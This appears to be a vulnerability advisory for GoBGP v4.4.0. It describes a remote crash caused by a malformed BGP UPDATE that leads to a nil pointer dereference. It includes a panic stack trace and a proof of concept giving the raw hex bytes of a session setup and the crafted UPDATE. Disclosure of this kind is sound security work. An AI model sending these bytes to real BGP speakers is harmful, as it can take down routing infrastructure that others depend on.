GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)
Summary
Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing
An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.
Details
The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.
Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw.
Code Path:
The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.
Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.
The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.
The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.
Log Snippet:
```
{"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]
goroutine 52 [running]:
github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})
/home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8
github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)
/home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)
/home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
/home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5
```
PoC
```
[SEND] OPEN
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00
[RECV] Type: 1 | Length: 77
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02
[+] Received OPEN from peer
[SEND] KEEPALIVE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[RECV] Type: 4 | Length: 19
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[+] BGP Session Established
[SEND] Crafted UPDATE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00
[*] Waiting for peer reaction...
[+] Done.
```
Impact
Remote Denial of Service (DoS) in GoBGP v4.4.0
